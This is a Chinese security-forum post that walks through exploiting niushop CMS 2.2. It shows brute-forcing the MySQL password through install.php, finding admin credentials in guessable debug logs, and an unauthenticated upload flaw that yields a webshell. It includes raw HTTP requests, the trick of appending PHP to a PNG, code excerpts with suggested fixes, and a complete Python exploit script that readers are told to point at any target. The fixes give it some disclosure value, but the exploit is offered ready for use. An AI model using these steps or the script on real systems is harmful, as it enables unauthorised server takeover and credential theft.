1366875557 发表于 2019-5-20 15:31:03

niushop CMS漏洞最新版本测试全过程(前台Getshell)

niushop CMS漏洞最新版本测试全过程(前台Getshell)0x01 环境搭建Code:http://www.niushop.com.cn/download.htmlVersion:单商户 2.2测试环境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor0x02 黑盒测试0x02_1 安装测试

下图为改数据包发送后的文件变化
关键步骤的数据包 每进行一步骤通过Action发送到Repeater保存一份 注意通过FileMonitor观察文件变化 正常完成后再通过Repeater重新发送数据包并观察文件变化。
通过重新发送前面的数据包发现 即便已经安装 仍可以通过该数据包验证爆破mysql密码(如果mysql密码正确 此处返回值为1 错误为0) 归咎与逻辑错误 不算漏洞(如果外网可连接mysql 何必通过此处爆破)
POC:
GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0Accept: */*Accept-Language: enAccept-Encoding: gzip, deflateReferer: http://127.0.0.1/install.php?refreshX-Requested-With: XMLHttpRequestConnection: closeCookie: action=db验证另外几个数据包发现文件并无变化 暂定为此处无漏洞。
0x02_2 后台测试
后台登录建议讲数据包发送到Repeater进行多次发送 观察时候会有验证码等限制 测试后台是否可爆破 此处经过测试 可爆破Python Poc:同时注意观察文件变化
如图 发现会写出日志且目录命名简单 可猜解
http://host.com/runtime/log/201901/03.log即为 域名 + /runtime/log/ + 年月 + / + 号数 + .log
可访问查看是否存在敏感信息泄露如图 发现日志泄露了管理登录账号密码。
第一枚漏洞Get。

继续后台功能测试从第一个功能开始测试 每个功能均使用一遍 持续观察文件变化!重要的数据包保存一份 重发测试。
经过使用功能时发现 此处仅不可直接上传php文件 但是可在Repeater中修改图片为php继续上传 将php文件修改为png格式后上传不通过 说明此处上传只做了前端限制和检查了文件头 此处先上传正常图片 然后修改后缀以及文件中间的内容为php代码来Getshell。

需要注意此时时需要后台权限的 可尝试修改后删除cookie测试上传能否继续完成。
通过多次修改和观察发现 删除Cookie后可继续上传 但是如过度删除图片内容 会导致php文件虽然写入成功 但是路径无法返回 根据监控到的文件变化来看 此处以文件hash命名导致无法爆破到路径 可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试 发现其实最要把php文件追加到图片后面就可以了
命令
Windows:type phpinfo.php >> poc.pngMacOS/Linux:cat phpinfo.php >> poc.png至此 该CMS前台Getshell完成。
其余功能测试同理。
0x03 代码分析整理一下前面的漏洞
mysql密码爆破根据url直接定位到install.php文件第38到62行
if($_GET['action']){    $dbserver = $_GET['dbserver'];    $dbusername = $_GET['dbusername'];    $dbpassword = $_GET['dbpassword'];    $dbname = $_GET['dbname'];    $link = mysql_connect($dbserver, $dbusername, $dbpassword);    $query = mysql_query("SHOW DATABASES LIKE'{$dbname}';");    //                  var_dump($query);    if(mysql_fetch_assoc($query) != false){      //说明数据库已经存在      echo 1;      exit();    }else{      echo 0;      exit();    }}$actions = array('license', 'env', 'db', 'finish');$action = $_COOKIE['action'];$action = in_array($action, $actions) ? $action : 'license';$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {    header('location: ./index.php/shop');    exit;}显而易见 在判断install.lock文件是否存在之前就进行数据库验证 不受install.lock的影响 属于逻辑问题 调整一下代码的位置或删除install.php即可修复。
敏感日志泄露定位到application/admin/controller/index.php文件 第40行到68行代码如下
public function index()    {      $debug = config('app_debug') == true ? '开发者模式' : '部署模式';      $this->assign('debug', $debug);      $main = \think\Request::instance()->domain();      $this->assign('main', $main);      // 销售排行      $goods_rank = $this->getGoodsRealSalesRank();      $this->assign("goods_list", $goods_rank);      $this->assign("is_index", true);
      //快捷菜单选项      $config_service = new Config();      $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);      $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);
      //快捷菜单id数组      $selected_ids = [];      foreach($shortcut_menu_list['data'] as $key=>$val){            $selected_ids[] = $val['module_id'];      }      $this->assign('selected_ids',$selected_ids);
      $this->assign('is_show_shortcut_menu',1);
      $this->getSystemConfig();
      return view($this->style . 'Index/index');    }如42行所示app_debug模式默认为true 为开启状态 改cms是基于thinkphp编写的 debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线 以解决此问题
前台Getshell定位到application/admin/controller/Upload.php文件 第556行到568行代码如下
// 验证文件      if (! $this->validationFile()) {            return $this->ajaxFileReturn();      }      $guid = time();      $file_name_explode = explode(".", $this->file_name); // 图片名称      $suffix = count($file_name_explode) - 1;      $ext = "." . $file_name_explode[$suffix]; // 获取后缀名                                                // 获取原文件名      $tmp_array = $file_name_explode;      unset($tmp_array[$suffix]);      $file_new_name = implode(".", $tmp_array);      $newfile = md5($file_new_name . $guid) . $ext;后台明没有后缀限制 上传成功后的新文件($newfile) 的后缀是从源文件中$ext取出来的 导致了后缀可控
0x04 Poc编写import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"}paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))]headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}cookies = {"action":"finish"}response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code:   %i" % response.status_code)print("Response body: %s" % response.content)
将poc种的127.0.0.1替换成目标即可

yaoyaomeng 发表于 2019-5-24 22:50:09

谢谢楼主,已经拿来写成poc验证了

show0p 发表于 2019-5-24 23:16:00

yaoyaomeng 发表于 2019-5-24 22:50
谢谢楼主,已经拿来写成poc验证了

厉害啦
页: [1]
查看完整版本: niushop CMS漏洞最新版本测试全过程(前台Getshell)